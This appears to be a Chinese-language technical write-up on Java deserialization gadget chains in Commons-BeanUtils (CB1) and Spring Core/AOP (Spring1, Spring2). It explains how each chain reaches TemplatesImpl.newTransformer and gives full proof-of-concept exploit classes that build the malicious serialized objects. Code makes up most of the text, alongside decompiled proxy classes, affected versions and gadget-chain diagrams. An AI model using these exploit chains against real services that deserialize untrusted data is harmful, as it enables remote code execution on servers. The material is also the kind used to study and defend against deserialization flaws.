依旧CC2切入点PriorityQueue优先队列,通过自定义Comparator进行比较时,反射获取Templatesgetter\setter方法来触发newTransformer进行代码执行。Apache Commons BeanUtils库中的BeanComparator类的实现,它是一个用于比较JavaBean对象的比较器。BeanComparator实现了Comparator<T>Serializable接口,使其可以用于对象排序和序列化。类有两个主要字段:property(要比较的属性名)和comparator(用于比较属性值的比较器)。

在compare方法中,首先检查是否设置了属性名:如果没有设置属性名(property为null),则直接比较两个对象本身。如果设置了属性名,则使用PropertyUtils.getProperty获取两个对象的属性值,然后比较这些值。getProperty中的逻辑大致为先获取对象的属性获取器方法名,然后通过getMethod获取阅读方法再反射执行该方法,完成整个链的调用。

Gadget链:

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl.newTransformer()
          -> 恶意字节码执行

PoC代码:

public class CB1Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = getTemplatesImpl();

		// 创建BeanComparator
		BeanComparator comparator = new BeanComparator("outputProperties");

		// 创建PriorityQueue
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add(1);
		queue.add(1);

		// 通过反射修改queue中的元素
		Field queueField = PriorityQueue.class.getDeclaredField("queue");
		queueField.setAccessible(true);
		Object[] queueArray = (Object[]) queueField.get(queue);
		queueArray[0] = templates;

		Reflections.setFieldValue(queue, "comparator", comparator);

		// 序列化和反序列化
		deserialize(serialize(queue));
	}
}

Spring Framework

Spring1 (Spring Core <= 4.1.4)

影响版本: <= 4.1.4 , jdk<=8u20

依赖信息:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>
 <dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-beans</artifactId>
			<version>4.1.4.RELEASE</version>
</dependency>

关键触发点:

  • MethodInvokeTypeProvider.readObject()
  • ObjectFactoryDelegatingInvocationHandler.invoke()
  • AnnotationInvocationHandler.invoke()

关键点分析:

step1:创建一个AnnotationInvocationHandler的处理程序并把携带tempslate对象的Map存入AnnotationInvocationHandler,创建一个ObjectFactory的代理对象,并设置处理程序为AnnotationInvocationHandler,只要调用getObject时,其实获取的是Templates对象。

public final class $Proxy0 extends Proxy implements ObjectFactory {
    private static Method m3;
    private static Method m1;
    private static Method m0;
    private static Method m2;

    public $Proxy0(InvocationHandler var1) throws  {
        super(var1);
    }

    public final Object getObject() throws BeansException {
        try {
            return (Object)super.h.invoke(this, m3, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }


    static {
        try {
            m3 = Class.forName("org.springframework.beans.factory.ObjectFactory").getMethod("getObject");
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

step2:实例化ObjectFactoryDelegatingInvocationHandler时传入之前准备好的ObjectFactory代理类,此时类中objectFactory属性等于ObjectFactoryProxy,只要在反序列化之后执行ObjectFactoryDelegatingInvocationHandler的invoke方法调用objectFactory属性的getObject()方法相当于从step1中的AnnotationInvocationHandler中的Map提取名为getObject的TempslateImpl对象。

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

		private final ObjectFactory<?> objectFactory;

		public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
			this.objectFactory = objectFactory;
		}

		@Override
		public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
			String methodName = method.getName();
			if (methodName.equals("equals")) {
				// Only consider equal when proxies are identical.
				return (proxy == args[0]);
			}
			else if (methodName.equals("hashCode")) {
				// Use hashCode of proxy.
				return System.identityHashCode(proxy);
			}
			else if (methodName.equals("toString")) {
				return this.objectFactory.toString();
			}
			try {
				return method.invoke(this.objectFactory.getObject(), args);
			}
			catch (InvocationTargetException ex) {
				throw ex.getTargetException();
			}
		}
	}

}

step3:创建代理Type、Templates的代理类,设置处理器为step2中的ObjectFactoryDelegatingInvocationHandler。把代理Typetemplates的对象,设置到一个新创建的Map中,key值为getType,然后再创建一个新的AnnotationInvocationHandler处理程序并传入Map,创建代理TypeProvider的代理对象,设置处理器为刚传入getTypeAnnotationInvocationHandler对象。此时只要通过TypeProvider代理对象调用getType方法时,返回的就是AnnotationInvocationHandler中Map名为getType的对象。

public final class $Proxy1 extends Proxy implements Type, Templates {
    private static Method m1;
    private static Method m3;
    private static Method m4;
    private static Method m0;
    private static Method m2;

    public $Proxy1(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final Transformer newTransformer() throws TransformerConfigurationException {
        try {
            return (Transformer)super.h.invoke(this, m3, (Object[])null);
        } catch (RuntimeException | TransformerConfigurationException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final Properties getOutputProperties() throws  {
        try {
            return (Properties)super.h.invoke(this, m4, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m3 = Class.forName("javax.xml.transform.Templates").getMethod("newTransformer");
            m4 = Class.forName("javax.xml.transform.Templates").getMethod("getOutputProperties");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

代理TypeProvider的代理类


public final class $Proxy2 extends Proxy implements SerializableTypeWrapper.TypeProvider {
    private static Method m1;
    private static Method m4;
    private static Method m0;
    private static Method m3;
    private static Method m2;

    public $Proxy2(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final Type getType() throws  {
        try {
            return (Type)super.h.invoke(this, m4, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final Object getSource() throws  {
        try {
            return (Object)super.h.invoke(this, m3, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m4 = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider").getMethod("getType");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m3 = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider").getMethod("getSource");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

step4:MethodInvokeTypeProvider 是 Spring Framework 内部用于处理 Java 类型信息的一个类,特别是在需要序列化类型信息时。它是 Spring 类型抽象系统的一部分,主要目的是解决 Java 泛型类型在序列化/反序列化过程中的信息丢失问题。当需要重建类型信息时,会重新记录的方法调用,使用反射调用目标对象的方法。TypeProvider属性中包含了需要重建的类型信息,方便在反序列化时执行反射恢复,这里我们传入的TypeProvider是上一步中生成的TypeProvider代理对象,反序列化时通过provider.getType调用时,最终返回的是我们提前在第一步中设置好的Templates对象,这里是无参反射,只需要设置好methodNamenewTransformer,就可以成功执行代码。这个思路简直变态到了极点,需要一步一步的拆分,相比于CC1中的动态代理Payload,研究出该链路的人对动态代理的运用已经炉火纯青了!

 static class MethodInvokeTypeProvider implements TypeProvider {
        private final TypeProvider provider;
        private final String methodName;
        private final int index;
        private transient Object result;

        public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
            this.provider = provider;
            this.methodName = method.getName();
            this.index = index;
            this.result = ReflectionUtils.invokeMethod(method, provider.getType());
        }

        public Type getType() {
            return !(this.result instanceof Type) && this.result != null ? ((Type[])((Type[])this.result))[this.index] : (Type)this.result;
        }

        public Object getSource() {
            return null;
        }

        private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
            inputStream.defaultReadObject();
            Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
            this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
        }
    }

Gadget链:

MethodInvokeTypeProvider.readObject()  			->	tempslateImpl				->newTransformer()
    -> MethodInvokeTypeProvider.getType()
    	->(TypeProvider)$Proxy0.getType()
    		->AnnotationInvocationHandler.invoke()
				  -> (Type,Tempslate)$Proxy0.getType()
						->ObjectFactoryDelegatingInvocationHandler.invoke()
							->(ObjectFactory)$Proxy0.getObject()
								->AnnotationInvocationHandler.invoke()
									->恶意tempslateImpl对象

PoC代码:

public class Spring1Exploit {

	public static void main(String[] args) throws Exception {
		// step 1 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = getTemplatesImpl();

		HashMap<Object, Object> hashMap = new HashMap<>();

		hashMap.put("getObject", tmpl);

		Class<?>       handlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor  = handlerClazz.getDeclaredConstructors()[0];

		constructor.setAccessible(true);

		Object annotationHandler = constructor.newInstance(Target.class, hashMap);

		// 代理ObjectFactory, 设置处理程序为AnnotationInvocationHandler-1 map -> TemplatesImpl
		// 只要调用`getObject`时,其实获取的是`Templates`对象。
		Object objectFactoryProxy = Proxy.newProxyInstance(ObjectFactory.class.getClassLoader(), new Class[]{ObjectFactory.class}, (InvocationHandler) annotationHandler);

		Class<?>       handlerFactoryClazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
		Constructor<?> constructor1        = handlerFactoryClazz.getDeclaredConstructors()[0];

		constructor1.setAccessible(true);

		// 在实例ObjectFactoryDelegatingInvocationHandler时,传入已经代理好的objectFactoryProxy
		InvocationHandler ofInvocationHandler = (InvocationHandler) constructor1.newInstance(objectFactoryProxy);

		// ==============objectFactory代理完成=================

		// step2 代理Type和templates,
		// 设置处理程序为ObjectFactoryDelegatingInvocationHandler -> AnnotationInvocationHandler-1- -> TemplatesImpl
		Object typeProxy = Proxy.newProxyInstance(Spring1Exploit.class.getClassLoader(), new Class[]{Type.class, Templates.class}, ofInvocationHandler);

		HashMap<Object, Object> hashMap1 = new HashMap<>();

		hashMap1.put("getType", typeProxy);

		// 在实例AnnotationInvocationHandler-2时,传入存在代理Type的Map
		Object annotationHandler1 = constructor.newInstance(Target.class, hashMap1);

		// 动态代理TypeProvider,之后获取getType时,返回的是TemplatesImpl
		Class<?> typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		Object   typeProviderProxy = Proxy.newProxyInstance(typeProviderClazz.getClassLoader(), new Class[]{typeProviderClazz}, (InvocationHandler) annotationHandler1);
		// ==================TypeProvider代理完成=================

		// step3 最终在MethodInvokeTypeProvider反序列化时设置typeProvider属性为typeProviderProxy,设置methodName为newTransformer
		// 反序列化时,调用MethodInvokeTypeProvider的typeProviderProxy,触发调用AnnotationInvocationHandler-2的invoke方法,
		// 获取代理Type对象,MethodInvokeTypeProvider会调用代理Type对象的newTransformer方法
		// 调用ObjectFactoryDelegatingInvocationHandler -> AnnotationInvocationHandler-1 -> TemplatesImpl
		Class<?> methodProvider = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");

		Constructor<?> constructor2 = methodProvider.getDeclaredConstructors()[0];

		constructor2.setAccessible(true);

		Object newInstance = constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);

		setFieldValue(newInstance, "methodName", "newTransformer");

		deserialize(serialize(newInstance));
	}
}

Spring2 (Spring AOP)

**影响版本:**aop <= 4.1.4 , jdk<=8u20

关键触发点:

  • JdkDynamicAopProxy.invoke()
  • AdvisedSupport

关键点分析:

该链就是替换了Spring1中的ObjectFactoryDelegatingInvocationHandlerJdkDynamicAopProxyJdkDynamicAopProxy是基于JDK动态代理的实现类,该类实现了AopProxyInvocationHandler接口,利用Java的Proxy类创建动态代理对象。作用是为Spring管理的Bean创建AOP代理对象,实现面向切面编程,在不修改源代码的情况下添加额外功能。

JdkDynamicAopProxyAdvisedSupport属性可以放置Templates对象,在invoke中通过放置的target对象来执行反射。Spring1通过代理ObjectFactory提取AnnotationInvocationHandler中的恶意templates对象,Spring2中把放置templates对象的类设置为JdkDynamicAopProxy中。

Gadget链:

MethodInvokeTypeProvider.readObject()  			->	tempslateImpl				->proxy.newTransformer()
    -> MethodInvokeTypeProvider.getType()
    	->(TypeProvider)$Proxy0.getType()
    		->AnnotationInvocationHandler.invoke()
				  -> (Type,Tempslate)$Proxy0.getType()
						->JdkDynamicAopProxy.invoke()
							->TargetSource.getTarget()
									->恶意tempslateImpl对象

PoC代码:

public class Spring2Exploit {

	public static void main(String[] args) throws Exception {
		// step 1 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = getTemplatesImpl();

		// 存放TemplatesImpl的类到AdvisedSupport中
		AdvisedSupport advisedSupport = new AdvisedSupport();
		advisedSupport.setTarget(tmpl);

		Class<?>       aopClazz       = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
		Constructor<?> aopConstructor = aopClazz.getDeclaredConstructors()[0];
		aopConstructor.setAccessible(true);

		// 实例化JdkDynamicAopProxy InvocationHandler
		Object aopHandler = aopConstructor.newInstance(advisedSupport);

		// step2 代理Type和templates,
		// 设置处理程序为AopInvocationHandler -> AdvisedSupport.getTargetSource -> TemplatesImpl
		Object typeProxy = Proxy.newProxyInstance(Spring1Exploit.class.getClassLoader(), new Class[]{Type.class, Templates.class}, (InvocationHandler) aopHandler);

		// 接下来代理  TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
		HashMap<String, Object> map2 = new HashMap<>();
		map2.put("getType", typeProxy);
		Class<?>       aClass      = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

		// 动态代理TypeProvider,之后获取getType时,返回的是TemplatesImpl
		Class<?> typeProviderClazz = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
		Object   typeProviderProxy = Proxy.newProxyInstance(typeProviderClazz.getClassLoader(), new Class[]{typeProviderClazz}, (InvocationHandler) newInvocationHandler);
		// ==================TypeProvider代理完成=================


		// step3 最终在MethodInvokeTypeProvider反序列化时设置typeProvider属性为typeProviderProxy,设置methodName为newTransformer
		// 反序列化时,调用MethodInvokeTypeProvider的typeProviderProxy,触发调用AnnotationInvocationHandler的invoke方法,获取代理TypeProxy对象
		// 获取代理Type对象,MethodInvokeTypeProvider会调用代理Type对象的newTransformer方法
		// 调用JdkDynamicAopProxy -> getTargetSource -> TemplatesImpl
		Class<?> methodProvider = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");

		Constructor<?> constructor2 = methodProvider.getDeclaredConstructors()[0];

		constructor2.setAccessible(true);

		Object newInstance = constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);

		setFieldValue(newInstance, "methodName", "newTransformer");

		deserialize(serialize(newInstance));
	}

}